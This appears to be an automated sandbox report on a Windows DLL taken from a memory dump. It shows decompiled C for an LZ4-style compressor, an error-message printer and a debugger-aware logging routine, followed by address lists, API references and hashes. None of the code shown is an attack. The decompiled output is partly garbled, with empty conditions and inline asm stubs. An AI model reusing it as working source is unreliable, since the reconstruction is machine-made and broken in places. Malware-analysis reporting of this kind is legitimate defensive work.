								}
								goto L215;
							}
						}
					} else {
						_t725 = _a8;
						_t836 = _t725;
						_a20 = _t836;
						_t936 = _t725 + _t979;
						_v44 = _t936;
						_v32 = _t936 - 0xc;
						_t969 = _a12;
						_v16 = _t936 + 0xfffffffb;
						_v24 = _t969;
						if(_t979 <= 0x7e000000) {
							_t938 = 0xff;
							if(_t979 >= 0xd) {
								_t1021 = _t836;
								E6D86D3F0(_t1021,  *_t725 * 0x9e3779b1 >> 0x13, _a4, 2, _t725);
								_t1031 = _t1031 + 0x14;
								_v12 = 0x3fc;
								_t1022 = _t1021 + 1;
								_t733 =  *_t1022 * 0x9e3779b1 >> 0x13;
								_a24 = _a24 << 6;
								while(1) {
									L5:
									_t852 = _t1022;
									_t942 = 1;
									_v20 = _a24;
									while(1) {
										_t1024 = _t852;
										_v56 = _t733;
										_t853 = _t852 + _t942;
										_v36 = _t1024;
										_v20 = _v20 + 1;
										_v48 = _t853;
										_v60 = _v20 >> 6;
										if(_t853 > _v32) {
											break;
										}
										_v8 = _a8 + ( *(_a4 + _t733 * 2) & 0x0000ffff);
										_v52 =  *_t853 * 0x9e3779b1 >> 0x13;
										E6D86D3F0(_t1024, _v56, _a4, 2, _a8);
										_t947 = _v8;
										_t1031 = _t1031 + 0x14;
										_t852 = _v48;
										_t733 = _v52;
										if( *_t947 !=  *_t1024) {
											_t942 = _v60;
											continue;
										} else {
											asm("sbb ecx, ecx");
											asm("sbb eax, eax");
											if(( ~_t733 &  ~_t852) != 0) {
												while(1) {
													_t777 =  *(_t1024 - 1);
													_t871 = _t947 - 1;
													if(_t777 !=  *_t871) {
														break;
													}
													_t1024 = _t1024 - 1;
													_t947 = _t871;
													_v8 = _t947;
													asm("sbb ecx, ecx");
													asm("sbb eax, eax");
													if(( ~_t777 &  ~_t871) != 0) {
														continue;
													}
													break;
												}
												_t969 = _v24;
												_t779 = 0;
												_v36 = _t1024;
											}
											_t855 = _a20;
											_t949 = _t1024 - _a20;
											_t1025 = _t969;
											_t975 = _t969 + 1;
											_v60 = _t949;
											_v28 = _t1025;
											if(_t949 < 0xf) {
												 *_t1025 = _t949 << 4;
											} else {
												_t773 = _t949 - 0xf;
												 *_t1025 = 0xf0;
												_v20 = _t773;
												if(_t773 >= 0xff) {
													_t1029 = _t773 / 0xff;
													memset(_t975, 0xff, _t1029);
													_t855 = _a20;
													_t1031 = _t1031 + 0xc;
													_t949 = _v60;
													_t975 = _t975 + _t1029;
													_v20 = _v20 + _t1029 * 0xffffff01;
													_t773 = _v20;
												}
												 *_t975 = _t773;
												_t975 = _t975 + 1;
											}
											_t1026 = _t975 + _t949;
											E6D86D436(_t975, _t855, _t1026);
											_t1031 = _t1031 + 0xc;
											_t856 = _v8;
											_t976 = _t1026;
											_v20 = _v16 + 0xfffffffd;
											_t1027 = _v36;
											while(1) {
												_t74 = _t1027 + 4; // 0xa
												_t950 = _t74;
												_a20 = _t950;
												 *_t976 = _t1027 - _t856;
												_t857 = _t856 + 4;
												_t969 = _t976 + 2;
												_v24 = _t969;
												if(_t950 >= _v20) {
													goto L25;
												}
												L21:
												_t769 =  *_t857 ^  *_t950;
												if(_t769 != 0) {
													asm("bsf eax, eax");
													_a20 = _t769;
													_t859 = _t769 >> 3;
												} else {
													_t950 =  &(_t950[1]);
													_t857 =  &(_t857[1]);
													if(_t950 >= _v20) {
														goto L25;
													} else {
														while(1) {
															_t772 =  *_t857 ^  *_t950;
															if(_t772 != 0) {
																break;
															}
															_t950 =  &(_t950[1]);
															_t857 =  &(_t857[1]);
															if(_t950 < _v20) {
																continue;
															} else {
																goto L25;
															}
															goto L32;
														}
														asm("bsf eax, eax");
														_v60 = _t772;
														_t859 = (_t772 >> 3) - _a20 + _t950;
													}
												}
												L32:
												_t751 = _v28;
												_t1027 = _t1027 + 4 + _t859;
												if(_t859 < 0xf) {
													 *_t751 =  *_t751 + _t859;
												} else {
													 *_t751 =  *_t751 + 0xf;
													_t864 = _t859 - 0xf;
													 *_t969 =  *_t969 | 0xffffffff;
													if(_t864 >= 0x3fc) {
														_t765 = _t864 / _v12;
														do {
															_t969 = _t969 + 4;
															_t864 = _t864 - 0x3fc;
															 *_t969 =  *_t969 | 0xffffffff;
															_t765 = _t765 - 1;
														} while (_t765 != 0);
													}
													_t762 = _t864;
													_t978 = _t969 + _t762 / 0xff;
													 *_t978 = _t762 % 0xff;
													_t969 = _t978 + 1;
													_v24 = _t969;
												}
												_t836 = _t1027;
												_a20 = _t836;
												if(_t1027 <= _v32) {
													_t101 = _t1027 - 2; // 0x4
													E6D86D3F0(_t101,  *_t101 * 0x9e3779b1 >> 0x13, _a4, 2, _a8);
													_v8 = _a8 + ( *(_a4 + ( *_t1027 * 0x9e3779b1 >> 0x13) * 2) & 0x0000ffff);
													E6D86D3F0(_t1027,  *_t1027 * 0x9e3779b1 >> 0x13, _a4, 2, _a8);
													_t856 = _v8;
													_t1031 = _t1031 + 0x28;
													if(_t856 + 0xffff < _t1027 ||  *_t856 !=  *_t1027) {
														_t1022 = _t1027 + 1;
														_t733 =  *_t1022 * 0x9e3779b1 >> 0x13;
														goto L5;
													} else {
														_t761 = _t969;
														_t976 = _t969 + 1;
														_v28 = _t761;
														 *_t761 = _t779;
														_t74 = _t1027 + 4; // 0xa
														_t950 = _t74;
														_a20 = _t950;
														 *_t976 = _t1027 - _t856;
														_t857 = _t856 + 4;
														_t969 = _t976 + 2;
														_v24 = _t969;
														if(_t950 >= _v20) {
															goto L25;
														}
														goto L32;
													}
												}
												goto L46;
												L25:
												if(_t950 < _v16 - 1 &&  *_t857 ==  *_t950) {
													_t950 =  &(_t950[0]);
													_t857 =  &(_t857[0]);
												}
												if(_t950 < _v16 &&  *_t857 ==  *_t950) {
													_t950 =  &(_t950[0]);
												}
												_t859 = _t950 - _a20;
												goto L32;
											}
										}
										L46:
										_t938 = 0xff;
										goto L47;
									}
									_t836 = _a20;
									goto L46;
								}
							}
							L47:
							_t780 = _v44 - _t836;
							if(_t780 < 0xf) {
								L52:
								_t680 = _t780 << 4;
							} else {
								_t680 = _t780 - 0xf;
								 *_t969 = 0xf0;
								_t969 = _t969 + 1;
								if(_t680 >= _t938) {
									_t1020 = _t680 / 0xff;
									memset(_t969, 0xff, _t1020);
									_t1031 = _t1031 + 0xc;
									_t728 = _t780 - 0xf;
									_t969 = _t969 + _t1020;
									do {
										_t728 = _t728 - 0xff;
										_t1020 = _t1020 - 1;
									} while (_t1020 != 0);
									L51:
									_t836 = _a20;
								}
							}
							L53:
							_t985 = _t969 + 1;
							 *_t969 = _t680;
							memcpy(_t985, _t836, _t780);
							L214:
							_t779 = _t780 - _a12 + _t985;
						}
					}
				}
				L215:
				return _t779;
			}

0x6d86bd9d
0x6d86bda3
0x6d86bda8
0x6d86bdb2
0x6d86bdb6
0x6d86bdb9
0x6d86bdbe
0x6d86bdc4
0x6d86c41d
0x6d86c7c0
0x6d86c7c3
0x6d86c7c6
0x6d86c7c9
0x6d86c7cc
0x6d86c7d2
0x6d86c7d5
0x6d86c7d8
0x6d86c7db
0x6d86c7e0
0x6d86c7e3
0x6d86c7ec
0x6d86c802
0x6d86c80a
0x6d86c80d
0x6d86c80e
0x6d86c81b
0x6d86c81e
0x6d86c822
0x6d86c822
0x6d86c822
0x6d86c829
0x6d86c82a
0x6d86c832
0x6d86c832
0x6d86c834
0x6d86c837
0x6d86c839
0x6d86c842
0x6d86c845
0x6d86c848
0x6d86c84e
0x00000000
0x00000000
0x6d86c85e
0x6d86c86f
0x6d86c872
0x6d86c877
0x6d86c87a
0x6d86c87d
0x6d86c888
0x6d86c88b
0x6d86c82f
0x6d86c82f
0x00000000
0x6d86c88d
0x6d86c891
0x6d86c894
0x00000000
0x6d86c896
0x6d86c899
0x6d86c8a0
0x6d86c8a6
0x6d86c8ae
0x6d86c8ae
0x6d86c8b1
0x6d86c8b6
0x00000000
0x00000000
0x6d86c8b8
0x6d86c8b9
0x6d86c8bd
0x6d86c8c0
0x6d86c8c6
0x6d86c8cc
0x00000000
0x00000000
0x00000000
0x6d86c8cc
0x6d86c8ce
0x6d86c8d1
0x6d86c8d3
0x6d86c8d3
0x6d86c8da
0x6d86c8e2
0x6d86c8e5
0x6d86c8e9
0x6d86c8ec
0x6d86c8f0
0x6d86c8fa
0x6d86c903
0x6d86c93e
0x6d86c905
0x6d86c905
0x6d86c908
0x6d86c90b
0x6d86c910
0x6d86c916
0x6d86c91b
0x6d86c920
0x6d86c923
0x6d86c92c
0x6d86c92e
0x6d86c931
0x6d86c931
0x6d86c934
0x6d86c936
0x6d86c936
0x6d86c940
0x6d86c948
0x6d86c950
0x6d86c953
0x6d86c959
0x6d86c95b
0x6d86c95e
0x6d86c961
0x6d86c963
0x6d86c968
0x6d86c96b
0x6d86c96e
0x6d86c974
0x6d86c977
0x6d86c97c
0x00000000
0x00000000
0x6d86c97e
0x6d86c980
0x6d86c982
0x6d86ca2f
0x6d86ca34
0x6d86ca37
0x6d86c988
0x6d86c98b
0x6d86c98e
0x6d86c993
0x00000000
0x6d86c995
0x6d86c995
0x6d86c997
0x6d86c999
0x00000000
0x00000000
0x6d86c99f
0x6d86c9a2
0x6d86c9a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86c9a8
0x6d86ca3c
0x6d86ca41
0x6d86ca4a
0x6d86ca4a
0x6d86c993
0x6d86c9d1
0x6d86c9d9
0x6d86c9e3
0x6d86c9e9
0x6d86c9ef
0x6d86ca4e
0x6d86c9f1
0x6d86c9f1
0x6d86c9f4
0x6d86c9f7
0x6d86ca00
0x6d86ca06
0x6d86ca09
0x6d86ca09
0x6d86ca0c
0x6d86ca12
0x6d86ca15
0x6d86ca15
0x6d86ca09
0x6d86ca1a
0x6d86ca25
0x6d86ca27
0x6d86ca29
0x6d86ca2a
0x6d86ca2a
0x6d86ca50
0x6d86ca52
0x6d86ca58
0x6d86cad0
0x6d86cad5
0x6d86cadc
0x6d86caf2
0x6d86caf7
0x6d86cb34
0x6d86caf9
0x6d86caf9
0x6d86cafc
0x6d86caff
0x6d86cb02
0x6d86cb0a
0x6d86cb13
0x6d86cb18
0x6d86cb1b
0x6d86cb1d
0x6d86cb1d
0x6d86cb23
0x6d86cb23
0x6d86cb28
0x6d86cb28
0x6d86cb2b
0x6d86cb2b
0x6d86cb3a
0x6d86cb3e
0x6d86cb43
0x00000000
0x6d86cb43
0x6d86ca5a
0x6d86ca6f
0x6d86ca8d
0x6d86ca96
0x6d86ca9b
0x6d86ca9e
0x6d86caa9
0x6d86cabe
0x6d86cac5
0x00000000
0x6d86cab1
0x6d86cab1
0x6d86cab3
0x6d86cab4
0x6d86cab7
0x6d86c963
0x6d86c968
0x6d86c96b
0x6d86c96e
0x6d86c974
0x6d86c977
0x6d86c97c
0x00000000
0x00000000
0x00000000
0x6d86c97c
0x6d86caa9
0x6d86ca58
0x00000000
0x6d86c9aa
0x6d86c9b0
0x6d86c9ba
0x6d86c9bd
0x6d86c9bd
0x6d86c9c3
0x6d86c9cb
0x6d86c9cb
0x6d86c9ce
0x00000000
0x6d86c9ce
0x6d86c961
0x6d86c8fa
0x6d86c894
0x00000000
0x6d86c88b
0x6d86cacd
0x00000000
0x6d86cacd
0x6d86c822
0x6d86c423
0x6d86c423
0x6d86c426
0x6d86c429
0x6d86c42c
0x6d86c42f
0x6d86c435
0x6d86c438
0x6d86c43e
0x6d86c446
0x6d86c449
0x6d86c451
0x6d86c45a
0x6d86c73e
0x6d86c73e
0x6d86c747
0x6d86c75d
0x6d86c766
0x6d86c7a3
0x6d86c768
0x6d86c768
0x6d86c76b
0x6d86c76e
0x6d86c771
0x6d86c779
0x6d86c782
0x6d86c787
0x6d86c78a
0x6d86c78c
0x6d86c78c
0x6d86c792
0x6d86c792
0x6d86c797
0x6d86c797
0x6d86c79a
0x6d86c79a
0x6d86c7a9
0x6d86c7ad
0x6d86c7b8
0x6d86c7b8
0x6d86c460
0x6d86c471
0x6d86c479
0x6d86c47c
0x6d86c47d
0x6d86c48a
0x6d86c48d
0x6d86c491
0x6d86c491
0x6d86c491
0x6d86c498
0x6d86c499
0x6d86c4a1
0x6d86c4a1
0x6d86c4a3
0x6d86c4a6
0x6d86c4a8
0x6d86c4b1
0x6d86c4b4
0x6d86c4b7
0x6d86c4bd
0x00000000
0x00000000
0x6d86c4d0
0x6d86c4e5
0x6d86c4e8
0x6d86c4ed
0x6d86c4f0
0x6d86c4f3
0x6d86c4fa
0x6d86c4fd
0x6d86c49e
0x00000000
0x6d86c4ff
0x6d86c502
0x6d86c509
0x6d86c50f
0x6d86c517
0x6d86c517
0x6d86c51a
0x6d86c51d
0x6d86c522
0x00000000
0x00000000
0x6d86c524
0x6d86c525
0x6d86c529
0x6d86c52c
0x6d86c532
0x6d86c538
0x00000000
0x00000000
0x00000000
0x6d86c538
0x6d86c53a
0x6d86c53d
0x6d86c53f
0x6d86c53f
0x6d86c546
0x6d86c54e
0x6d86c551
0x6d86c555
0x6d86c558
0x6d86c55c
0x6d86c566
0x6d86c56f
0x6d86c5aa
0x6d86c571
0x6d86c571
0x6d86c574
0x6d86c577
0x6d86c57c
0x6d86c582
0x6d86c587
0x6d86c58c
0x6d86c58f
0x6d86c598
0x6d86c59a
0x6d86c59d
0x6d86c59d
0x6d86c5a0
0x6d86c5a2
0x6d86c5a2
0x6d86c5ac
0x6d86c5b4
0x6d86c5bc
0x6d86c5bf
0x6d86c5c5
0x6d86c5c7
0x6d86c5ca
0x6d86c5cd
0x6d86c5cf
0x6d86c5d4
0x6d86c5d7
0x6d86c5da
0x6d86c5e0
0x6d86c5e3
0x6d86c5e8
0x00000000
0x00000000
0x6d86c5ea
0x6d86c5ec
0x6d86c5ee
0x6d86c69b
0x6d86c6a0
0x6d86c6a3
0x6d86c5f4
0x6d86c5f7
0x6d86c5fa
0x6d86c5ff
0x00000000
0x6d86c601
0x6d86c601
0x6d86c603
0x6d86c605
0x00000000
0x00000000
0x6d86c60b
0x6d86c60e
0x6d86c614
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86c614
0x6d86c6a8
0x6d86c6ad
0x6d86c6b6
0x6d86c6b6
0x6d86c5ff
0x6d86c63d
0x6d86c645
0x6d86c64f
0x6d86c655
0x6d86c65b
0x6d86c6ba
0x6d86c65d
0x6d86c65d
0x6d86c660
0x6d86c663
0x6d86c66c
0x6d86c672
0x6d86c675
0x6d86c675
0x6d86c678
0x6d86c67e
0x6d86c681
0x6d86c681
0x6d86c675
0x6d86c686
0x6d86c691
0x6d86c693
0x6d86c695
0x6d86c696
0x6d86c696
0x6d86c6bc
0x6d86c6be
0x6d86c6c4
0x6d86c73b
0x6d86c73b
0x00000000
0x6d86c6c6
0x6d86c6dc
0x6d86c6fe
0x6d86c701
0x6d86c706
0x6d86c709
0x6d86c714
0x6d86c729
0x6d86c730
0x00000000
0x6d86c71c
0x6d86c71c
0x6d86c71e
0x6d86c71f
0x6d86c722
0x6d86c5cf
0x6d86c5d4
0x6d86c5d7
0x6d86c5da
0x6d86c5e0
0x6d86c5e3
0x6d86c5e8
0x00000000
0x00000000
0x00000000
0x6d86c5e8
0x6d86c714
0x6d86c6c4
0x00000000
0x6d86c616
0x6d86c61c
0x6d86c626
0x6d86c629
0x6d86c629
0x6d86c62f
0x6d86c637
0x6d86c637
0x6d86c63a
0x00000000
0x6d86c63a
0x6d86c5cd
0x6d86c566
0x00000000
0x6d86c4fd
0x6d86c738
0x00000000
0x6d86c738
0x6d86c491
0x6d86c45a
0x6d86c451
0x6d86bdca
0x6d86bdd0
0x6d86c11e
0x6d86c121
0x6d86c124
0x6d86c127
0x6d86c12a
0x6d86c130
0x6d86c133
0x6d86c136
0x6d86c139
0x6d86c142
0x6d86c151
0x6d86c15b
0x6d86c15e
0x6d86c16a
0x6d86c16d
0x6d86c170
0x6d86c173
0x6d86c173
0x6d86c173
0x6d86c17a
0x6d86c182
0x6d86c182
0x6d86c185
0x6d86c187
0x6d86c18a
0x6d86c18d
0x6d86c192
0x6d86c195
0x6d86c198
0x6d86c19b
0x6d86c1a1
0x00000000
0x00000000
0x6d86c1ad
0x6d86c1bc
0x6d86c1c2
0x6d86c1c5
0x6d86c1d0
0x6d86c1d3
0x6d86c17f
0x6d86c17f
0x00000000
0x6d86c1d5
0x6d86c1d9
0x6d86c1dc
0x00000000
0x6d86c1de
0x6d86c1e0
0x6d86c1e7
0x6d86c1ed
0x6d86c1f2
0x6d86c1f8
0x6d86c1f8
0x6d86c1fb
0x6d86c1fe
0x6d86c203
0x00000000
0x00000000
0x6d86c205
0x6d86c206
0x6d86c20a
0x6d86c20d
0x6d86c213
0x6d86c219
0x00000000
0x00000000
0x00000000
0x6d86c219
0x6d86c21b
0x6d86c21e
0x6d86c220
0x6d86c220
0x6d86c223
0x6d86c226
0x6d86c228
0x6d86c22a
0x6d86c22d
0x6d86c22e
0x6d86c234
0x6d86c27a
0x6d86c236
0x6d86c236
0x6d86c239
0x6d86c23c
0x6d86c244
0x6d86c24f
0x6d86c254
0x6d86c259
0x6d86c25c
0x6d86c25f
0x6d86c262
0x6d86c26a
0x6d86c26d
0x6d86c26d
0x6d86c270
0x6d86c272
0x6d86c272
0x6d86c27c
0x6d86c282
0x6d86c28a
0x6d86c28d
0x6d86c293
0x6d86c295
0x6d86c298
0x6d86c29b
0x6d86c29d
0x6d86c2a2
0x6d86c2a5
0x6d86c2a8
0x6d86c2ae
0x6d86c2b1
0x6d86c2b6
0x00000000
0x00000000
0x6d86c2b8
0x6d86c2ba
0x6d86c2bc
0x6d86c354
0x6d86c359
0x6d86c35c
0x6d86c2c2
0x6d86c2c5
0x6d86c2c8
0x6d86c2cd
0x00000000
0x6d86c2cf
0x6d86c2cf
0x6d86c2d1
0x6d86c2d3
0x00000000
0x00000000
0x6d86c2d9
0x6d86c2dc
0x6d86c2e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86c2e2
0x6d86c364
0x6d86c367
0x6d86c36d
0x6d86c36d
0x6d86c2cd
0x6d86c309
0x6d86c309
0x6d86c30f
0x6d86c314
0x6d86c371
0x6d86c316
0x6d86c316
0x6d86c319
0x6d86c31c
0x6d86c325
0x6d86c32b
0x6d86c32e
0x6d86c32e
0x6d86c331
0x6d86c337
0x6d86c33a
0x6d86c33a
0x6d86c32e
0x6d86c33f
0x6d86c34a
0x6d86c34c
0x6d86c34e
0x6d86c34f
0x6d86c34f
0x6d86c373
0x6d86c375
0x6d86c37b
0x6d86c37d
0x6d86c38c
0x6d86c395
0x6d86c398
0x6d86c39b
0x6d86c3a6
0x6d86c3bb
0x6d86c3be
0x6d86c3c5
0x00000000
0x6d86c3ae
0x6d86c3ae
0x6d86c3b0
0x6d86c3b1
0x6d86c3b4
0x6d86c29d
0x6d86c2a2
0x6d86c2a5
0x6d86c2a8
0x6d86c2ae
0x6d86c2b1
0x6d86c2b6
0x00000000
0x00000000
0x00000000
0x6d86c2b6
0x6d86c3a6
0x00000000
0x6d86c2e4
0x6d86c2ea
0x6d86c2f4
0x6d86c2f7
0x6d86c2f7
0x6d86c2fd
0x6d86c305
0x6d86c305
0x6d86c306
0x00000000
0x6d86c306
0x6d86c29b
0x6d86c1dc
0x00000000
0x6d86c1d3
0x6d86c3cd
0x6d86c3d0
0x6d86c3d5
0x00000000
0x6d86c3db
0x6d86c3db
0x6d86c3de
0x6d86c3e1
0x6d86c3e7
0x00000000
0x6d86c3ed
0x6d86c3f6
0x6d86c3fb
0x6d86c400
0x6d86c403
0x6d86c406
0x6d86c408
0x6d86c408
0x6d86c40d
0x6d86c40d
0x00000000
0x6d86c412
0x6d86c3e7
0x00000000
0x6d86c3d5
0x6d86c173
0x6d86bdd6
0x6d86bdd6
0x6d86bdd9
0x6d86bddb
0x6d86bdde
0x6d86bde4
0x6d86bdea
0x6d86bded
0x6d86bdf0
0x6d86bdf3
0x6d86bdfc
0x6d86be02
0x6d86be0a
0x6d86be17
0x6d86be23
0x6d86be28
0x6d86be2b
0x6d86be32
0x6d86be39
0x6d86be3c
0x6d86be40
0x6d86be40
0x6d86be40
0x6d86be47
0x6d86be48
0x6d86be50
0x6d86be50
0x6d86be52
0x6d86be55
0x6d86be57
0x6d86be60
0x6d86be63
0x6d86be66
0x6d86be6c
0x00000000
0x00000000
0x6d86be7f
0x6d86be94
0x6d86be97
0x6d86be9c
0x6d86be9f
0x6d86bea2
0x6d86bea9
0x6d86beac
0x6d86be4d
0x00000000
0x6d86beae
0x6d86beb1
0x6d86beb8
0x6d86bebe
0x6d86bec6
0x6d86bec6
0x6d86bec9
0x6d86bece
0x00000000
0x00000000
0x6d86bed0
0x6d86bed1
0x6d86bed5
0x6d86bed8
0x6d86bede
0x6d86bee4
0x00000000
0x00000000
0x00000000
0x6d86bee4
0x6d86bee6
0x6d86bee9
0x6d86beeb
0x6d86beeb
0x6d86beee
0x6d86bef3
0x6d86bef5
0x6d86bef7
0x6d86bef8
0x6d86befb
0x6d86bf01
0x6d86bf47
0x6d86bf03
0x6d86bf03
0x6d86bf06
0x6d86bf09
0x6d86bf11
0x6d86bf1c
0x6d86bf21
0x6d86bf26
0x6d86bf29
0x6d86bf2c
0x6d86bf2f
0x6d86bf37
0x6d86bf3a
0x6d86bf3a
0x6d86bf3d
0x6d86bf3f
0x6d86bf3f
0x6d86bf49
0x6d86bf4f
0x6d86bf57
0x6d86bf5a
0x6d86bf60
0x6d86bf62
0x6d86bf65
0x6d86bf68
0x6d86bf6a
0x6d86bf6a
0x6d86bf6f
0x6d86bf72
0x6d86bf75
0x6d86bf7b
0x6d86bf7e
0x6d86bf83
0x00000000
0x00000000
0x6d86bf85
0x6d86bf87
0x6d86bf89
0x6d86c023
0x6d86c028
0x6d86c02b
0x6d86bf8f
0x6d86bf92
0x6d86bf95
0x6d86bf9a
0x00000000
0x6d86bf9c
0x6d86bf9c
0x6d86bf9e
0x6d86bfa0
0x00000000
0x00000000
0x6d86bfa6
0x6d86bfa9
0x6d86bfaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86bfaf
0x6d86c030
0x6d86c035
0x6d86c03e
0x6d86c03e
0x6d86bf9a
0x6d86bfd8
0x6d86bfd8
0x6d86bfde
0x6d86bfe3
0x6d86c042
0x6d86bfe5
0x6d86bfe5
0x6d86bfe8
0x6d86bfeb
0x6d86bff4
0x6d86bffa
0x6d86bffd
0x6d86bffd
0x6d86c000
0x6d86c006
0x6d86c009
0x6d86c009
0x6d86bffd
0x6d86c00e
0x6d86c019
0x6d86c01b
0x6d86c01d
0x6d86c01e
0x6d86c01e
0x6d86c044
0x6d86c046
0x6d86c04c
0x6d86c051
0x6d86c064
0x6d86c086
0x6d86c089
0x6d86c08e
0x6d86c091
0x6d86c09c
0x6d86c0b1
0x6d86c0b8
0x00000000
0x6d86c0a4
0x6d86c0a4
0x6d86c0a6
0x6d86c0a7
0x6d86c0aa
0x6d86bf6a
0x6d86bf6a
0x6d86bf6f
0x6d86bf72
0x6d86bf75
0x6d86bf7b
0x6d86bf7e
0x6d86bf83
0x00000000
0x00000000
0x00000000
0x6d86bf83
0x6d86c09c
0x00000000
0x6d86bfb1
0x6d86bfb7
0x6d86bfc1
0x6d86bfc4
0x6d86bfc4
0x6d86bfca
0x6d86bfd2
0x6d86bfd2
0x6d86bfd5
0x00000000
0x6d86bfd5
0x6d86bf68
0x6d86c0c3
0x6d86c0c3
0x00000000
0x6d86c0c3
0x6d86c0c0
0x00000000
0x6d86c0c0
0x6d86be40
0x6d86c0c8
0x6d86c0cb
0x6d86c0d0
0x6d86c107
0x6d86c109
0x6d86c0d2
0x6d86c0d2
0x6d86c0d5
0x6d86c0d8
0x6d86c0db
0x6d86c0e6
0x6d86c0eb
0x6d86c0f0
0x6d86c0f3
0x6d86c0f6
0x6d86c0f8
0x6d86c0f8
0x6d86c0fd
0x6d86c0fd
0x6d86c102
0x6d86c102
0x6d86c102
0x6d86c0db
0x6d86c10c
0x6d86c10e
0x6d86c111
0x6d86c114
0x6d86cb46
0x6d86cb4c
0x6d86cb4c
0x6d86bdfc
0x6d86bdd0
0x6d86cb50
0x6d86cb56

APIs

memset.VCRUNTIME140(?,00000000,00004020), ref: 6D86BDA3
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86BF21
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86C0EB
memcpy.VCRUNTIME140(?,?,?), ref: 6D86C114
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86C254
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86C3FB
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86C587
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86C782
memcpy.VCRUNTIME140(?,?), ref: 6D86C7AD
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86C91B
memset.VCRUNTIME140(?,000000FF,?), ref: 6D86CB13
memcpy.VCRUNTIME140(?,?,?), ref: 6D86CB3E

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 0e247829b8f8a7e3c5c927cbafb8a7609f748335173bef294b3b097a8ed55093
Instruction ID: 4a078c074dbd66a0c222e97735b7564f65559db2939ac759596ba17113fc226a
Opcode Fuzzy Hash: 0e247829b8f8a7e3c5c927cbafb8a7609f748335173bef294b3b097a8ed55093
Instruction Fuzzy Hash: 90A2CF71E0415A8FCF04CF6CC8845AEBBB6FF85324F258669E955EB352D7309A41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86ADB0, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6D86ADB0(void* __ecx, intOrPtr _a4) {
				char _v8;
				void* _t9;
				struct _IO_FILE* _t10;

				FormatMessageA(0x1300, 0, GetLastError(), 0x400,  &_v8, 0, 0);
				_t9 =  !=  ? _v8 : "(null)\n";
				__imp____acrt_iob_func(_a4, _t9, __ecx);
				_t10 = E6D86B1C7(_t9, 2, "### ERROR: %s: %s");
				__imp____acrt_iob_func(2);
				fflush(_t10);
				return LocalFree(_v8);
			}

0x6d86adce
0x6d86addd
0x6d86adec
0x6d86adf4
0x6d86adfb
0x6d86ae02
0x6d86ae17

APIs

GetLastError.KERNEL32(00000000,?,6D86A707,CreateThread), ref: 6D86ADB4
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D86A707,CreateThread), ref: 6D86ADCE
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D86A707,00000000,?,6D86A707), ref: 6D86ADEC

Part of subcall function 6D86B1C7: __vfprintf_l.MSPDB140-MSVCRT ref: 6D86B1D6

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D86A707), ref: 6D86ADFB
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D86AE02
LocalFree.KERNEL32(?), ref: 6D86AE0E

Strings

(null), xrefs: 6D86ADD8
### ERROR: %s: %s, xrefs: 6D86ADE5

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__vfprintf_lfflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 1434835741-1695379354
Opcode ID: 0ef86c403b494260f31c75f6ca9f5892bc736b82a5d57a7c5cfbd2c3edbcf2ea
Instruction ID: ded2cbff250bb34120e370eda0f776cb509503f83e2d8fc4462b1cca7a36ddb5
Opcode Fuzzy Hash: 0ef86c403b494260f31c75f6ca9f5892bc736b82a5d57a7c5cfbd2c3edbcf2ea
Instruction Fuzzy Hash: 6FF017B9510214FBEF00BBA0CC0EFBE7A7DEB8A716F004148BA0995081CB715E00DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86308C, Relevance: 9.0, APIs: 6, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6D86308C(void* __esi, intOrPtr _a4, char _a8) {
				signed int _v8;
				char _v2056;
				signed int _t9;
				int _t11;
				void* _t25;
				struct _IO_FILE* _t26;
				signed int _t28;
				void* _t29;

				_t25 = __esi;
				_t9 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t9 ^ _t28;
				_t11 = IsDebuggerPresent();
				if(_t11 != 0) {
					E6D8615E4( &_v2056, _a4,  &_a8);
					_t29 = _t29 + 0xc;
					_t11 =  &_v2056;
					OutputDebugStringA(_t11);
				}
				__imp___dup("a", _t25);
				_t26 = _fdopen(_t11, 2);
				if(_t26 != 0) {
					E6D863068(_t26, _a4, 0,  &_a8);
					fclose(_t26);
				}
				return E6D8770C0(_v8 ^ _t28);
			}

0x6d86308c
0x6d863095
0x6d86309c
0x6d86309f
0x6d8630a7
0x6d8630b7
0x6d8630bc
0x6d8630bf
0x6d8630c6
0x6d8630c6
0x6d8630d4
0x6d8630e2
0x6d8630e8
0x6d8630f4
0x6d8630fa
0x6d863100
